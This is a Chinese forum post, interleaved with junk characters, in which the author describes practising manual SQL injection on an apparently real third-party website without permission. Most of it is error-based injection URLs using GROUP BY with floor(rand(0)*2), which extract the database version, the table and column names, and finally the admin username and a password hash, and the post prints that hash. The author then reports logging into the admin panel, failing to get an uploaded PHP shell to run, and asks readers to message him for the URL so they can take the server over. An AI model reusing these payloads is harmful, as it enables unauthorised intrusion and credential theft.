近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
2 r% Z: j$ |9 L d. P, R首先找到网站后台,加了个admin,后台出来了 " `# f9 e2 v% o. G4 p
: \6 k6 o5 y) l1 m! n) f+ n0 U% |( z( L; V6 C! _) @) p' _
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入# t& [: Y% e$ r1 |& X2 H
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—' e) S, J& R% a
( F, j! n* ?8 x" \, ]
, O( h) i# O$ s0 D% Q( A5 i* o. k
8 F! }& o1 b; Y7 d% ^" s
: v+ E" D4 t# |# M+ vhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg+ d: [# k3 V3 G/ N
+ Y, h2 S( I6 A9 c
; y$ e* [% [7 ?) `# M; ]
6 @0 z0 Q; G; n
/ q4 E# T: M8 w) ~% m) m, v9 l& c可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
0 c7 U1 @+ z5 Z# [
G9 |6 `' {; r' ^1 y$ h8 E8 u. D% Z8 e+ g
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg! p7 n0 H7 H% c. t5 w
3 l+ j4 W- _. [! e' T) H u; i+ d0 w# \! E
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--7 `+ z1 z# D# j% L& t0 l2 n' c
" U7 L* U5 M# h" y1 A3 C) V; x* y5 R/ L: q8 A, v
* q- D! U' e# F+ e3 s
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--4 }% ?' j) ~7 f7 w( @
) ~9 o) f, z) F4 z# p6 r. P
/ \ F- b/ U+ [) t% F* ]
7 ]; A, t1 s5 N) \+ M: d$ `" t
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |